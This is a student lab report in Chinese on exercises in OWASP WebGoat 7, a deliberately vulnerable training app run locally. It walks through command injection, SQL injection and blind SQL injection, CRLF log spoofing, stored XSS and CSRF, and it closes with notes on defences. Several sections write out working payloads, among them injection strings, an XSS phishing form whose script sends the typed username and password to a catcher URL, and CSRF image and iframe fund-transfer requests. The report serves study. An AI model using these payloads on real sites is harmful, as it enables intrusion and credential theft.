一、实践步骤
1.1 前置条件说明
一开始先下载WebGoat，由于WebGoat 7的jar文件已自带了tomcat和数据库，所以不需要再另外安装tomcat和mysql这种东西，只需要安装jdk用于运行jar文件即可。jdk安装过程不再辍述，如果需要，可参考https://www.cnblogs.com/lsdb/p/6511907.html这篇文章。
1.2 Webgoat安装
介绍：WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，当前提供的训练课程有30多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程，某些课程也给出了视频演示，指导用户利用这些漏洞进行攻击。
1、下载webgoat-container-7.0.1-war-exec.jar文件
2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat，出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功，可以看到占用8080端口，实验过程中不要关闭终端
3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面
4、 使用默认用户名密码guest登录即可(其中Java Source是源码、Solution是答案、Hints是提示)
1.3 开始攻击
1.3.1 SQL注入攻击
1、Command Injection(命令注入)
在左侧菜单栏中选择Injection Flaws->Command Injection
右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,先在搜索框内查找option，在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"
点击网页内View可以看到网络端口使用情况和IP地址
2、Numeric SQL Injection(数字型SQL注入)
在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection
右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在在选中的城市编号value="101"后添加or 1=1
-点击Go!显示所有天气数据
3、Log Spoofing(日志欺骗)
利用回车0D%和换行符%0A让其在日志中两行显示
在User Name中填入webgoat%0d%0aLogin Succeeded for username: hj20175121
点击Login可以看到webgoat Login Fail，自己添加的hj20175121 Login Succeeded
4、String SQL Injection(字符串型注入)
使用‘提前闭合""，插入永真式1=1，--注释掉后面的内容
输入查询的用户名yb‘ or 1=1--select表里面的所有数据
5、LAB: SQL Injection
右键点击页面，选择inspect Element审查网页元素对源代码进行修改，将password密码框的最大长度限制改为20
以用户Neville登录，输入密码fjx‘ or ‘1‘ = ‘1
攻击成功，得到所有人员列表
6、Blind Numeric SQL Injection(数字型盲注入)
输入查询语句101 AND 1=1 ，因为两个条件都成立，所以页面返回帐号有效
输入查询语句101 AND 1=2，因为第二个条件不成立，所以而页面返回帐号无效
针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
如果页面提示帐号有效，说明PIN>10000，否则PIN<=10000；不断调整数值，可以利用二分法，最终判断出PIN数值的大小为2364
最终得到正确PIN值2364，输入验证
1.3.2 XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
在搜索框输入如下代码，页面增加一个表单
<head><body><div><div style="float:left;height:100px;width:50%;"></div><div style="float:left;height:100px;width:50%;"></div></div><div style="height:200px;clear:both;"></div>
</div></div></form>
<script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script><form name="phish"><br><br><HR>
<H2>This feature requires account login:</H2><br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR></body></head>
输入用户名和密码，读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
2、存储型XSS攻击（Stored XSS Attacks）
在title中任意输入字符，留言板中输入<script>alert("zheshiyiduanliuyan");</script>后点击Submit攻击成功
1.3.3 CSRF攻击
1、跨站请求伪造（Cross Site Request Forgery (CSRF)）
查看页面右侧Parameters中的src和menu值，分别为324和900
在title中输入任意参数，message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件，点击Submit提交
2、绕过 CSRF 确认（ CSRF Prompt By‐Pass）
查看页面右侧Parameters中的src和menu值分别为321和900
并在title框中输入学号，message框中输入代码：
<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的链接，点击进入后，攻击成功
二、实验总结与体会
2.1 实验中遇到的问题
GitHub上下载WebGoat需要*链接外网，我没有*，最后找了同学要到了资源。
2.2 基础问题回答
(1)SQL注入攻击原理，如何防御
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意SQL命令的目的。
防御手段：
1、普通用户与系统管理员用户的权限要有严格的区分。
2、强迫使用参数化语句。
3、加强对用户输入的验证。
4、使用SQL Server数据库自带的安全参数。
5、jsp中调用该函数检查是否包含非法字符，防止SQL从URL注入。
（2）XSS攻击的原理，如何防御
XSS是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。一旦攻击成功，它可以获取用户的联系人列表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等，有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。
防御手段：
1、在表单提交或者url参数传递前，对需要的参数进行过滤。
2、消除网站的XSS漏洞，需要网站开发者运用转义安全字符等手段。
(3)CSRF攻击原理，如何防御
CSRF(Cross site request forgery)，即跨站请求伪造。CSRF就是借用用户的身份，向web server发送请求，因为该请求不是用户本意，所以称为“跨站请求伪造”。
一般而且存在XSS漏洞的网站，也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址，一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的，也可以看做是XSS攻击的一种。
防御手段：
1、使用验证码:每一个重要的post提交页面，使用一个验证码，因为第三方网站是无法获得验证码的。还有使用手机验证码，比如转账是使用的手机验证码。
3、使用token:每一个网页包含一个web server产生的token, 提交时，也将该token提交到服务器，服务器进行判断，如果token不对，就判定为CSRF攻击。
4、将敏感操作get改为post,然后在表单中使用token. 使用post有利于防御CSRF攻击。
5、避免全站通用的cookie，严格设置cookie的域。
2.3 实验体会
通过本次实验，我学习了SQL注入攻击、XSS攻击和CSRF攻击，了解了这些攻击的原理。虽然操作的时候挺简单，但是要深入理解其背后的原理还是有一定难度的。在实验过程中遇到了各种各样的问题，一开始下不动，查找原因是因为需要*，于是我就找了做过的同学要了资源。通过这些学习，我了解了各种通过网页的攻击，以后上网要秉持一颗谨慎的心态，这样才不会轻易落入他人陷阱。